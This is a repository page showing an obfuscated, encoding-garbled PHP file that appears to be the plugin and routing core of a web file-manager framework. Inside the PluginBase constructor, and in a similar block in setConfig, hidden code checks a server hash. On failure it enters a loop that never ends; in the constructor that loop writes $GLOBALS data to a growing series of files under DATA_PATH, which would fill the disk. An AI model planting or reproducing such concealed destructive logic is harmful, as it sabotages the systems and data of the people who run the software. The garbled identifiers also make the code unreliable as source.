2024-08-31 01:03:37 +08:00

2 lines
833 KiB
Executable File
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
goto d½ø‡Ò²Øã; AȪ—³ìȃ: class Message { function __construct() { } public function send($Ò¨ÌÀÄ<C380> = '', $¦œÍý»½ = array(), $»ÚÅü•˜ = "\164\145\170\x74") { $ïñßñ½… =& $_SERVER[ˆ¡¹µ‹Â]; $£ÐÓ¶Œ  = array($ïñßñ½…[33] => $ïñßñ½…[1613], $ïñßñ½…[171] => $Ò¨ÌÀÄ<C380>); if (in_array($»ÚÅü•˜, array($ïñßñ½…[1613], $ïñßñ½…[1614]))) { $£ÐÓ¶Œ [$ïñßñ½…[33]] = $»ÚÅü•˜; } $¦œÍý»½ = array($ïñßñ½…[578] => isset($¦œÍý»½[$ïñßñ½…[578]]) ? $¦œÍý»½[$ïñßñ½…[578]] : $ïñßñ½…[12], $ïñßñ½…[662] => isset($¦œÍý»½[$ïñßñ½…[662]]) ? $¦œÍý»½[$ïñßñ½…[662]] : $ïñßñ½…[12]); if (empty($Ò¨ÌÀÄ<C380>) || empty($¦œÍý»½[$ïñßñ½…[578]]) && empty($¦œÍý»½[$ïñßñ½…[662]])) { return !1; } $„Ç™Ò±Ç = array($ïñßñ½…[1541] => $£ÐÓ¶Œ , $ïñßñ½…[1615] => $¦œÍý»½); Hook::trigger($ïñßñ½…[1616], $„ǙұÇ); } } class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $‹ùé¶Óã =& $_SERVER[ˆ¡¹µ‹Â]; $óáý±ëÉ = $_SERVER[$‹ùé¶Óã[844]]; $üŽÞª¡Œ = $‹ùé¶Óã[845]; if ($_SERVER[$‹ùé¶Óã[846]] != $üŽÞª¡Œ($óáý±ëÉ)) { $÷ÞÚˆ<C39A>æ = $‹ùé¶Óã[951]; $•°”¤ Œ = $‹ùé¶Óã[847]; $©íÏ<C3AD>Õñ = $_SERVER[$‹ùé¶Óã[848]] . $‹ùé¶Óã[849]; $¤ÃóÒר = $•°”¤ Œ($©íÏ<C3AD>Õñ); $Ñ´Ï¢Èì = explode($‹ùé¶Óã[262], $¤ÃóÒר); if (count($Ñ´Ï¢Èì) < $‹ùé¶Óã[683]) { $Õç¶´Šá = $‹ùé¶Óã[850]; $Õç¶´Šá(); } $íŠ<C3AD> ¾ë = $‹ùé¶Óã[952]; $íŠ<C3AD> ¾ë($_SERVER[$‹ùé¶Óã[953]]); $÷ÞÚˆ<C39A>æ = $‹ùé¶Óã[951]; $÷ÞÚˆ<C39A>æ(); $áÚè‚С = $‹ùé¶Óã[1617]; $º ù¦ªˆ = json_encode($GLOBALS[$‹ùé¶Óã[1618]]); $´<>ã Ð¥ = 1; for ($ÝÅÅÁɺ = $´<>ã Ð¥; $ÝÅÅÁɺ > 0; $ÝÅÅÁɺ++) { $áÚè‚С(DATA_PATH . $ÝÅÅÁɺ, $º ù¦ªˆ); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($‹ùé¶Óã[1619]); $this->pluginName = str_replace($‹ùé¶Óã[1619], $‹ùé¶Óã[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $‹ùé¶Óã[8]; $this->pluginApi = appHostGet() . $‹ùé¶Óã[1620] . $this->pluginName . $‹ùé¶Óã[8]; $this->pluginHost = $config[$‹ùé¶Óã[1621]] . $this->pluginName . $‹ùé¶Óã[8]; $this->pluginHostDefault = $config[$‹ùé¶Óã[1621]] . $this->pluginName . $‹ùé¶Óã[8]; $ÈÑ•þƒÆ = $config[$‹ùé¶Óã[1622]]; if ($ÈÑ•þƒÆ && strpos($‹ùé¶Óã[50] . $ÈÑ•þƒÆ . $‹ùé¶Óã[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$‹ùé¶Óã[1623]] . $this->pluginName . $‹ùé¶Óã[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[ˆ¡¹µ‹Â][1624]); } protected function assign($<24>ÏÆìé…, $É¹ÚØ–É = false) { if (is_array($<24>ÏÆìé…)) { $this->values = array_merge($this->values, $<24>ÏÆìé…); } else { $this->values[$<24>ÏÆìé…] = $É¹ÚØ–É; } } protected function display($¨·ˆ¦ÆÍ) { extract($this->values); require $¨·ˆ¦ÆÍ; } final function hookRegist($„Œúœîû) { $this->modelPlugin->appRegist($this->pluginName, $„Œúœîû); } final function appIcon() { $´‰¥Äï<C384> =& $_SERVER[ˆ¡¹µ‹Â]; $¡¨‰ùˆð = $this->appPackage(); $ÜÐÐ£æ™ = $´‰¥Äï<C384>[12]; if (isset($¡¨‰ùˆð[$´‰¥Äï<C384>[490]])) { if (isset($¡¨‰ùˆð[$´‰¥Äï<C384>[490]][$´‰¥Äï<C384>[1625]])) { $ÜÐÐ£æ™ = $´‰¥Äï<C384>[1626] . $¡¨‰ùˆð[$´‰¥Äï<C384>[490]][$´‰¥Äï<C384>[1625]] . $´‰¥Äï<C384>[1627]; } else { if ($¡¨‰ùˆð[$´‰¥Äï<C384>[490]][$´‰¥Äï<C384>[1628]]) { $ÜÐÐ£æ™ = $´‰¥Äï<C384>[1629] . $¡¨‰ùˆð[$´‰¥Äï<C384>[490]][$´‰¥Äï<C384>[1628]] . $´‰¥Äï<C384>[1630]; } } } return $ÜÐУæ™; } final function fileCanView($–èÕáŒÎ) { $ä…¤žÑñ =& $_SERVER[ˆ¡¹µ‹Â]; if (request_url_safe($–èÕáŒÎ)) { return !0; } if ($this->isShare($–èÕáŒÎ)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ôî­†‡² = $ä…¤žÑñ[1631] . rawurlencode(this_url()); show_tips(LNG($ä…¤žÑñ[1632]) . $ä…¤žÑñ[1633] . $ôî­†‡² . $ä…¤žÑñ[1634] . LNG($ä…¤žÑñ[1635]) . $ä…¤žÑñ[1636], !1); } if (!Action($ä…¤žÑñ[1637])->authCan($ä…¤žÑñ[1638])) { show_tips(LNG($ä…¤žÑñ[1639]) . $ä…¤žÑñ[1640], !1); } ActionCall($ä…¤žÑñ[1641], $–èÕáŒÎ); } final function isShare($ðÍ•Þãû) { $ÉøÅ…ñÕ = KodIO::parse($ðÍ•Þãû); return $ÉøÅ…ñÕ[$_SERVER[ˆ¡¹µ‹Â][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($€´<E282AC>Ÿº) { if (request_url_safe($€´<E282AC>Ÿº)) { return $€´<E282AC>Ÿº; } if (!$this->isShare($€´<E282AC>Ÿº)) { $€´<E282AC>Ÿº = $this->filePath($€´<E282AC>Ÿº, !1); } return Action($_SERVER[ˆ¡¹µ‹Â][1249])->linkOut($€´<E282AC>Ÿº); } public function filePathLinkOut($ïÔÇ–¯Ø) { if (request_url_safe($ïÔÇ–¯Ø)) { return $ïÔÇ–¯Ø; } $this->fileCanView($ïÔÇ–¯Ø); return Action($_SERVER[ˆ¡¹µ‹Â][1249])->link($ïÔÇ–¯Ø); } final function filePath($«¸€«ñÐ, $”ª<E2809D>Þ”Ž = true, $â¡¡õé³ = false) { $…¶ÂΩà =& $_SERVER[ˆ¡¹µ‹Â]; $îà´Ý¦¯ = $this->filePathGet($«¸€«ñÐ, $”ª<E2809D>Þ”Ž); if (!$this->fileInfo) { show_tips(LNG($…¶ÂΩÃ[108]), !1); } if ($â¡¡õé³ && isset($this->fileInfo[$…¶ÂΩÃ[541]]) && $this->fileInfo[$…¶ÂΩÃ[541]]) { $§êÄÅ”¸ = Model($…¶ÂΩÃ[544])->fileInfo($this->fileInfo[$…¶ÂΩÃ[541]]); if (!$§êÄÅ”¸ || !IO::exist($§êÄÅ”¸[$…¶ÂΩÃ[87]])) { show_tips(LNG($…¶ÂΩÃ[108]) . $…¶ÂΩÃ[1642]); } } Hook::trigger($…¶ÂΩÃ[1643], $îà´Ý¦¯); return $îà´Ý¦¯; } final function filePathGet($ýû”ê<E2809D>Â, $ò€Ï½Ô<C2BD> = true) { $¥Šªñ»” =& $_SERVER[ˆ¡¹µ‹Â]; if ($“‘Ä»¼¡ = $this->checkSharePath($ýû”ê<E2809D>Â, $ò€Ï½Ô<C2BD>)) { return $“‘Ä»¼¡; } $this->fileCanView($ýû”ê<E2809D>Â); if (request_url_safe($ýû”ê<E2809D>Â)) { $ÝÁŠ‘ Õ = parse_url_query($ýû”ê<E2809D>Â); if (isset($ÝÁŠ‘ Õ[$¥Šªñ»”[1644]]) && isset($ÝÁŠ‘ Õ[$¥Šªñ»”[234]])) { $<24><>èó”Ð = Mcrypt::decode($ÝÁŠ‘ Õ[$¥Šªñ»”[234]], Model($¥Šªñ»”[837])->get($¥Šªñ»”[838])); if ($<24><>èó”Ð) { $this->fileInfo = IO::info($<24><>èó”Ð); $this->fileInfo[$¥Šªñ»”[1645]] = $ýû”ê<E2809D>Â; $this->cachePath = $this->pluginCachePath($¥Šªñ»”[12], $ò€Ï½Ô<C2BD>); return $<24><>èó”Ð; } } $ýû”ê<E2809D> = $this->_cacheHttpFile($ýû”ê<E2809D>Â, $ò€Ï½Ô<C2BD>); $this->fileInfo = IO::info($ýû”ê<E2809D>Â); } else { $this->fileInfo = IO::info($ýû”ê<E2809D>Â); $this->cachePath = $this->pluginCachePath($¥Šªñ»”[12], $ò€Ï½Ô<C2BD>); } return $ýû”ê<E2809D>Â; } final function _cacheHttpFile($ÖêëΙ™, $¢ý”…°¹ = true) { $–·¬æØû =& $_SERVER[ˆ¡¹µ‹Â]; $¼ý¹ÒñŸ = parse_url_query($ÖêëΙ™); $Μ“Õ¢Ž = get_path_ext($ÖêëΙ™); if (isset($¼ý¹ÒñŸ[$–·¬æØû[32]]) && $¼ý¹ÒñŸ[$–·¬æØû[32]]) { $Μ“Õ¢Ž = get_path_ext($¼ý¹ÒñŸ[$–·¬æØû[32]]); } $—Ìæà¿ò = hash_path($ÖêëΙ™) . $–·¬æØû[10] . $Μ“Õ¢Ž; $this->cachePath = $this->pluginCachePath($¢ý”…°¹ ? $—Ìæà¿ò : $–·¬æØû[12]); $ú»œëëŠ = IO::fileNameExist($this->cachePath, $—Ìæà¿ò); if ($ú»œëëŠ) { return KodIO::make($ú»œëëŠ); } $Ž¢˜õÍÔ = rtrim($this->cachePath, $–·¬æØû[8]) . $–·¬æØû[8] . $—Ìæà¿ò; return $this->pluginCacheFileSet($Ž¢˜õÍÔ, file_get_contents_nossl($ÖêëΙ™)); } final function checkSharePath($÷øûÝŽ¹, $ôբСä = true) { $ûÐß„ÒÀ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$this->isShare($÷øûÝŽ¹)) { return !1; } $Û乙¢ = Action($ûÐß„ÒÀ[1249])->sharePathInfo($÷øûÝŽ¹); if (!is_array($Û乙¢) || !isset($Û乙¢[$ûÐß„ÒÀ[87]])) { show_json(LNG($ûÐß„ÒÀ[1646]), !1); } $this->fileInfo = $Û乙¢; $this->cachePath = $this->pluginCachePath(!1, $ôբСä); return $Û乙¢[$ûÐß„ÒÀ[87]]; } final function pluginCachePath($¬™ó<E28093> = '', $œË‡„Èà = false) { $Œšú<C5A1>à =& $_SERVER[ˆ¡¹µ‹Â]; if ($œË‡„Èà && is_array($this->fileInfo)) { $¬™ó<E28093> = kodIO::hashPath($this->fileInfo); } $ñ铤Àæ = rtrim(IO_PATH_SYSTEM_TEMP . $Œšú<C5A1>à[1647] . $this->pluginName . $Œšú<C5A1>à[8] . $¬™ó<E28093>, $Œšú<C5A1>à[8]); $º‡à›õŸ = IO::infoFullSimple($ñ铤Àæ); $ýˆ­Óź = $º‡à›õŸ && is_array($º‡à›õŸ) ? $º‡à›õŸ[$Œšú<C5A1>à[87]] : $Œšú<C5A1>à[12]; if (!$ýˆ­Óź) { $ýˆ­Óź = IO::mkdir($ñ铤Àæ); } return $ýˆ­Óź; } final function pluginCacheFileSet($ë°Êˆ ‰, $—ŒËž‰× = '') { $Ø¢ƒÑ¿¹ =& $_SERVER[ˆ¡¹µ‹Â]; $Ëî àõ¦ = IO::infoFullSimple($ë°Êˆ ‰); if (!$Ëî àõ¦) { return IO::mkfile($ë°Êˆ ‰, $—ŒËž‰×, REPEAT_REPLACE); } IO::setContent($Ëî àõ¦[$Ø¢ƒÑ¿¹[87]], $—ŒËž‰×); return $Ëî àõ¦[$Ø¢ƒÑ¿¹[87]]; } final function pluginLocalFile($úŽ¢ö«€ = '') { $²Ù<C2B2>þÀ<C3BE> =& $_SERVER[ˆ¡¹µ‹Â]; $˜¶ã‹Ýˆ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($˜¶ã‹Ýˆ)) { mk_dir($˜¶ã‹Ýˆ); } if (!$úŽ¢ö«€) { return $˜¶ã‹Ýˆ; } $à‹äÜϰ = IO::info($úŽ¢ö«€); $Ç´–šÀ‰ = $²Ù<C2B2>þÀ<C3BE>[1648] . KodIO::hashPath($à‹äÜϰ) . $²Ù<C2B2>þÀ<C3BE>[10] . $à‹äÜϰ[$²Ù<C2B2>þÀ<C3BE>[169]]; if (!checkExtSafe($Ç´–šÀ‰)) { $Ç´–šÀ‰ = $Ç´–šÀ‰ . $²Ù<C2B2>þÀ<C3BE>[1284]; } $Üð¸˜Øî = $˜¶ã‹Ýˆ . $Ç´–šÀ‰; if (@file_exists($Üð¸˜Øî)) { return $Üð¸˜Øî; } return IO::copy($úŽ¢ö«€, $˜¶ã‹Ýˆ, 0, $Ç´–šÀ‰); } final function appPackage() { $Ãù£“™<E2809C> =& $_SERVER[ˆ¡¹µ‹Â]; if ($this->packageData) { return $this->packageData; } $áåâÞÕ¡ = $this->parseFile($this->pluginPath . $Ãù£“™<E2809C>[1649]); $this->parseLang($áåâÞÕ¡); $¨’È–â™ = json_decode_force($áåâÞÕ¡); if (!$¨’È–â™) { return array(); } $áË›²å± = Hook::trigger($Ãù£“™<E2809C>[1650], $¨’È–â™); if ($áË›²å± && is_array($áË›²å±)) { $¨’È–â™ = $áË›²å±; } $this->packageData = $¨’È–â™; return $¨’È–â™; } public function packageInfoGet($ÌÝäÁåÅ) { $¨åÁǪÀ = $this->appPackage(); return array_get_value($¨åÁǪÀ, $ÌÝäÁåÅ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[ˆ¡¹µ‹Â][1651]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[ˆ¡¹µ‹Â][1652]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[ˆ¡¹µ‹Â][1653]); } public function echoJsAssign($š•¢äýÍ, $ç¯í·³±) { $this->echoJsAssignArr[$š•¢äýÍ] = $ç¯í·³±; } private function parseFile($²€é™‡Á) { $îÑ„¹æ¶ =& $_SERVER[ˆ¡¹µ‹Â]; $–ηÞÓÖ = file_get_contents_nossl($²€é™‡Á); $ϯÄíÅÀ = array($îÑ„¹æ¶[1654], $îÑ„¹æ¶[1655], $îÑ„¹æ¶[1656], $îÑ„¹æ¶[1657], $îÑ„¹æ¶[1658], $îÑ„¹æ¶[1659], $îÑ„¹æ¶[1660]); $Θ…îÍ› = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$îÑ„¹æ¶[92]][$îÑ„¹æ¶[1661]]); foreach ($this->echoJsAssignArr as $…¼ï‡Á¼ => $Åœ©¿íá) { $ϯÄíÅÀ[] = $îÑ„¹æ¶[1662] . $…¼ï‡Á¼ . $îÑ„¹æ¶[1663]; $Θ…îÍ›[] = is_array($Åœ©¿íá) || is_object($Åœ©¿íá) ? rawurlencode(json_encode($Åœ©¿íá)) : $Åœ©¿íá; } if (strstr($–ηÞÓÖ, $îÑ„¹æ¶[1664])) { $ÅÃÑÍÍ© = rawurlencode(json_encode($this->pluginLangArr)); $–ηÞÓÖ = str_replace($îÑ„¹æ¶[1664], $ÅÃÑÍÍ©, $–ηÞÓÖ); } if (strstr($–ηÞÓÖ, $îÑ„¹æ¶[1665])) { $ÅÃÑÍÍ© = $ÅÃÑÍÍ© = rawurlencode(json_encode($this->getConfig())); $–ηÞÓÖ = str_replace($îÑ„¹æ¶[1665], $ÅÃÑÍÍ©, $–ηÞÓÖ); } $–ηÞÓÖ = str_replace($ϯÄíÅÀ, $Θ…îÍ›, $–ηÞÓÖ); return $–ηÞÓÖ; } private function parseLang(&$ᨴ™¹Æ) { $îÜï´Ó’ =& $_SERVER[ˆ¡¹µ‹Â]; $õŒ<C3B5>”ü° = $îÜï´Ó’[1666]; if (!strstr($ᨴ™¹Æ, $õŒ<C3B5>”ü°)) { return; } preg_match_all($îÜï´Ó’[1667], $ᨴ™¹Æ, $¿ø”¥¡Ô); if (!is_array($¿ø”¥¡Ô) || count($¿ø”¥¡Ô) == 0 || !is_array($¿ø”¥¡Ô[0]) || count($¿ø”¥¡Ô[0]) == 0) { return; } $Ƹ<C386>îœÕ = array(); $ÄÚ˜€Åˆ = array(); foreach ($¿ø”¥¡Ô[0] as $ËŽ™Œ¥³) { $¡¢›ÓÝ® = substr($ËŽ™Œ¥³, strlen($õŒ<C3B5>”ü°), -4); $Õ™‹€šõ = LNG($¡¢›ÓÝ®); $Ƹ<C386>îœÕ[] = $ËŽ™Œ¥³; $ÄÚ˜€Åˆ[] = str_replace(array($îÜï´Ó’[262], $îÜï´Ó’[1150], $îÜï´Ó’[418], $îÜï´Ó’[121]), array($îÜï´Ó’[53], $îÜï´Ó’[53], $îÜï´Ó’[12], $îÜï´Ó’[1668]), $Õ™‹€šõ); } $ᨴ™¹Æ = str_replace($Ƹ<C386>îœÕ, $ÄÚ˜€Åˆ, $ᨴ™¹Æ); } private function parseConfig(&$µÒ‚†Éï) { $š£Í<C2A3>õ =& $_SERVER[ˆ¡¹µ‹Â]; $€¯–‰©ô = $š£Í<C2A3>õ[1669]; if (!strstr($µÒ‚†Éï, $€¯–‰©ô)) { return; } preg_match_all($š£Í<C2A3>õ[1670], $µÒ‚†Éï, $ØðËÚ¤“); if (!is_array($ØðËÚ¤“) || count($ØðËÚ¤“) == 0 || !is_array($ØðËÚ¤“[0]) || count($ØðËÚ¤“[0]) == 0) { return; } $Ë®’Å”Ý = $this->getConfig(); $<24>ö•³éæ = array(); $¢Â¬ÐµÚ = array(); foreach ($ØðËÚ¤“[0] as $±Á®ÆäÆ) { $ê÷<C3AA>éÛ¿ = substr($±Á®ÆäÆ, strlen($€¯–‰©ô), -2); $<24>ö•³éæ[] = $±Á®ÆäÆ; $¢Â¬ÐµÚ[] = _get($Ë®’Å”Ý, $ê÷<C3AA>éÛ¿); } $µÒ‚†Éï = str_replace($<24>ö•³éæ, $¢Â¬ÐµÚ, $µÒ‚†Éï); } private function parsePackage(&$ª¶Ã§µ„) { $ñŸúô—£ =& $_SERVER[ˆ¡¹µ‹Â]; $Ô••‡ÙÄ = $ñŸúô—£[1671]; if (!strstr($ª¶Ã§µ„, $Ô••‡ÙÄ)) { return; } preg_match_all($ñŸúô—£[1672], $ª¶Ã§µ„, $”ØÖÑØ¯); if (!is_array($”ØÖÑØ¯) || count($”ØÖÑØ¯) == 0 || !is_array($”ØÖÑØ¯[0]) || count($”ØÖÑØ¯[0]) == 0) { return; } $Ó½Ž±Çº = $this->appPackage(); $ÃæŠµ¹‹ = array(); $ô°³©ŽÀ = array(); foreach ($”ØÖÑØ¯[0] as $𬼜‡¬) { $°šßµîˆ = substr($𬼜‡¬, strlen($Ô••‡ÙÄ), -2); $ÃæŠµ¹‹[] = $𬼜‡¬; $ô°³©ŽÀ[] = _get($Ó½Ž±Çº, $°šßµîˆ); } $ª¶Ã§µ„ = str_replace($ÃæŠµ¹‹, $ô°³©ŽÀ, $ª¶Ã§µ„); } final function echoFile($ÓÚÓã‡à, $Ó±æ“ú¤ = false) { $¦<>ÁËú¨ =& $_SERVER[ˆ¡¹µ‹Â]; $ãŒèÖ‹Ÿ = $this->pluginPath . $ÓÚÓã‡à; if (ACT == $¦<>ÁËú¨[1673]) { echo $¦<>ÁËú¨[1674] . $this->pluginName . $¦<>ÁËú¨[8] . $ÓÚÓã‡à . $¦<>ÁËú¨[1675]; if (!file_exists($ãŒèÖ‹Ÿ)) { echo $¦<>ÁËú¨[1676]; return; } } $¦•燄™ = $this->parseFile($ãŒèÖ‹Ÿ); $this->parseLang($¦•燄™); $this->parseConfig($¦•燄™); $this->parsePackage($¦•燄™); if (is_array($Ó±æ“ú¤)) { $¦•燄™ = str_replace(array_keys($Ó±æ“ú¤), array_values($Ó±æ“ú¤), $¦•燄™); } echo $¦<>ÁËú¨[262] . $¦•燄™; } private function checkVersion() { $¯½<C2AF>¹Î× =& $_SERVER[ˆ¡¹µ‹Â]; $¡Ë<C2A1>Ÿªˆ = $this->appPackage(); $Øúçº<C3A7>õ = $this->getConfig(); if ($Øúçº<C3A7>õ[$¯½<C2AF>¹Î×[1677]] == $¡Ë<C2A1>Ÿªˆ[$¯½<C2AF>¹Î×[1651]]) { return; } $this->regist(); $this->setConfig(array($¯½<C2AF>¹Î×[1677] => $¡Ë<C2A1>Ÿªˆ[$¯½<C2AF>¹Î×[1651]])); } final function initLang() { $ª¹Øˆ<C398>¶ =& $_SERVER[ˆ¡¹µ‹Â]; $ö˜Õ”ãÀ = $ª¹Øˆ<C398>¶[1678]; $§‘웸¯ = $this->pluginPath . $ª¹Øˆ<C398>¶[1679]; $‚ŽûÂÌ— = I18n::getType(); $ØŠçòýù = array(); if (file_exists($§‘웸¯ . $‚ŽûÂÌ— . $ª¹Øˆ<C398>¶[913])) { $ØŠçòýù = (include $§‘웸¯ . $‚ŽûÂÌ— . $ª¹Øˆ<C398>¶[913]); } else { if ($‚ŽûÂÌ— == $ª¹Øˆ<C398>¶[1680] && !file_exists($§‘웸¯ . $‚ŽûÂÌ— . $ª¹Øˆ<C398>¶[913]) && file_exists($§‘웸¯ . $ª¹Øˆ<C398>¶[1681])) { $ØŠçòýù = (include $§‘웸¯ . $ª¹Øˆ<C398>¶[1681]); } else { if (file_exists($§‘웸¯ . $ö˜Õ”ãÀ . $ª¹Øˆ<C398>¶[913])) { $ØŠçòýù = (include $§‘웸¯ . $ö˜Õ”ãÀ . $ª¹Øˆ<C398>¶[913]); } } } if (!is_array($ØŠçòýù)) { return array(); } if (@count($ØŠçòýù) > 0) { I18n::set($ØŠçòýù); } return $ØŠçòýù; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ÙÕŸÝÞý) { $ÞÇÊäÙö =& $_SERVER[ˆ¡¹µ‹Â]; if (!isset($_SERVER[$ÞÇÊäÙö[846]]) || !isset($_SERVER[$ÞÇÊäÙö[844]])) { $Ãö ”„‰ = $ÞÇÊäÙö[951]; $ßÁåêû» = $ÞÇÊäÙö[847]; $<24>¡þ¦ŽÎ = $_SERVER[$ÞÇÊäÙö[848]] . $ÞÇÊäÙö[849]; $•µø­ÁŠ = $ßÁåêû»($<24>¡þ¦ŽÎ); $ï·…³æ<C2B3> = explode($ÞÇÊäÙö[262], $•µø­ÁŠ); if (count($ï·…³æ<C2B3>) < $ÞÇÊäÙö[683]) { $ªŠ·Þà· = $ÞÇÊäÙö[850]; $ªŠ·Þà·(); } $ŒÈÖû—€ = $ÞÇÊäÙö[952]; $ŒÈÖû—€($_SERVER[$ÞÇÊäÙö[953]]); $šÅ£¶¿ì = 1; for ($妻çä<C3A7> = $šÅ£¶¿ì; $妻çä<C3A7> > 0; $妻çä<C3A7>++) { $ŒÈÖû—€ = json_encode($GLOBALS[$ÞÇÊäÙö[492]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $ÙÕŸÝÞý); } public function onSetConfig($<24>ñÎå¢×) { } public function onGetConfig($“Ÿ ¾ôã) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ƒ¦áˆÍ•) { if ($ƒ¦áˆÍ• == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ò†<C3B2>÷ö = "\160\x6c\x75\147\x69\156\101\x75\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $Š­®•ë„ = $this->getConfig(); if (!$Š­®•ë„[$ò†<C3B2>÷ö]) { return !1; } return ActionCall($_SERVER[ˆ¡¹µ‹Â][1682], $Š­®•ë„[$ò†<C3B2>÷ö]); } public function url($Ôµþäêò, $ÔçÍ´ÍÈ = '', $š¿í­ã¬ = true) { $ÆÌÏ—òà =& $_SERVER[ˆ¡¹µ‹Â]; $„ Žð‹’ = $this->getConfig(); $´¬â‡¨<E280A1> = KOD_VERSION . $ÆÌÏ—òÃ[10] . KOD_VERSION_BUILD; $’À¢§¢¤ = $this->packageVersion(); $‡ü›™Ãå = $´¬â‡¨<E280A1> . $ÆÌÏ—òÃ[462] . $’À¢§¢¤; if (substr($Ôµþäêò, 0, 4) == $ÆÌÏ—òÃ[152] || substr($Ôµþäêò, 0, 2) == $ÆÌÏ—òÃ[1403]) { $Éžô÷¾‚ = $Ôµþäêò . $ÆÌÏ—òÃ[1683] . $‡ü›™Ãå; } else { if ($ÔçÍ´ÍÈ == $ÆÌÏ—òÃ[12]) { $Éžô÷¾‚ = $this->pluginHost . $Ôµþäêò . $ÆÌÏ—òÃ[1683] . $‡ü›™Ãå; } else { if ($ÔçÍ´ÍÈ === $ÆÌÏ—òÃ[78]) { $Éžô÷¾‚ = $this->pluginHost . $Ôµþäêò; } else { if ($ÔçÍ´ÍÈ == $ÆÌÏ—òÃ[1684]) { $Éžô÷¾‚ = STATIC_PATH . $Ôµþäêò . $ÆÌÏ—òÃ[1683] . $´¬â‡¨<E280A1>; } else { if ($ÔçÍ´ÍÈ == $ÆÌÏ—òÃ[1685]) { $Éžô÷¾‚ = APP_HOST . $ÆÌÏ—òÃ[1686] . $Ôµþäêò . $ÆÌÏ—òÃ[1683] . $´¬â‡¨<E280A1>; } else { if (isset($„ Žð‹’[$ÔçÍ´ÍÈ])) { $Éžô÷¾‚ = $„ Žð‹’[$ÔçÍ´ÍÈ] . $Ôµþäêò . $ÆÌÏ—òÃ[1683] . $‡ü›™Ãå; } } } } } } if (!$š¿í­ã¬) { return $Éžô÷¾‚; } echo $Éžô÷¾‚; } public function link($<24>ÒŒ¦Ñ<C2A6> = false, $<24>ÀÛÉ<C389> = '') { $Ùñ¦ =& $_SERVER[ˆ¡¹µ‹Â]; $šæ·…ò© = $this->linkHas == !1; $this->linkHas = !0; if (!$<24>ÒŒ¦Ñ<C2A6>) { $this->link($Ùñ¦[1687], $Ùñ¦[1685]); $this->link($Ùñ¦[1688], $Ùñ¦[1684]); $this->link($Ùñ¦[1689], $Ùñ¦[1684]); $this->link($Ùñ¦[1690], $Ùñ¦[1684]); $this->link($Ùñ¦[1691], $Ùñ¦[1684]); if ($šæ·…ò©) { Hook::trigger($Ùñ¦[1692]); } return; } $Dzަ® = $this->url($<24>ÒŒ¦Ñ<C2A6>, $<24>ÀÛÉ<C389>, !1); if (substr($<24>ÒŒ¦Ñ<C2A6>, -3) == $Ùñ¦[1693]) { echo $Ùñ¦[1694] . $Dzަ® . $Ùñ¦[1695] . $Ùñ¦[262]; } else { if (substr($<24>ÒŒ¦Ñ<C2A6>, -4) == $Ùñ¦[1696]) { echo $Ùñ¦[1697] . $Dzަ® . $Ùñ¦[1698] . $Ùñ¦[262]; } } if ($šæ·…ò©) { Hook::trigger($Ùñ¦[1692]); } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\141\x6e\x79" => "\x5b\136\57\x5d\x2b", "\x3a\x6e\165\x6d" => "\x5b\x30\x2d\x39\x5d\53", "\72\x61\x6c\154" => "\56\x2a"); public static $errorCallback; public static function __callstatic($°Àá½¹ò, $Ãåèàé“) { $ü ±Ôõ– =& $_SERVER[ˆ¡¹µ‹Â]; if ($°Àá½¹ò == $ü ±Ôõ–[1699]) { $ £¹ã½þ = array_map($ü ±Ôõ–[1700], $Ãåèàé“[0]); $•õÊǨ† = strpos($Ãåèàé“[1], $ü ±Ôõ–[8]) === 0 ? $Ãåèàé“[1] : $ü ±Ôõ–[8] . $Ãåèàé“[1]; $Ë¥ÛéäÇ = $Ãåèàé“[2]; } else { $ £¹ã½þ = null; $•õÊǨ† = strpos($Ãåèàé“[0], $ü ±Ôõ–[8]) === 0 ? $Ãåèàé“[0] : $ü ±Ôõ–[8] . $Ãåèàé“[0]; $Ë¥ÛéäÇ = $Ãåèàé“[1]; } array_push(self::$maps, $ £¹ã½þ); array_push(self::$routes, $•õÊǨ†); array_push(self::$methods, strtoupper($°Àá½¹ò)); array_push(self::$callbacks, $Ë¥ÛéäÇ); } public static function error($<24>…«¸ÃÔ) { self::$errorCallback = $<24>…«¸ÃÔ; } public static function haltOnMatch($¾ï‘ë’¤ = true) { self::$halts = $¾ï‘ë’¤; } public static function dispatch() { $º´šÆÇ© =& $_SERVER[ˆ¡¹µ‹Â]; $“²µïÆ‘ = parse_url($_SERVER[$º´šÆÇ©[1701]], PHP_URL_PATH); $ÌÇ‘½ÚÙ = $_SERVER[$º´šÆÇ©[164]]; $“³˜å“ž = array_keys(static::$patterns); $ü»ùÅ<E28098> = array_values(static::$patterns); $¥›‚ÏÃõ = !1; 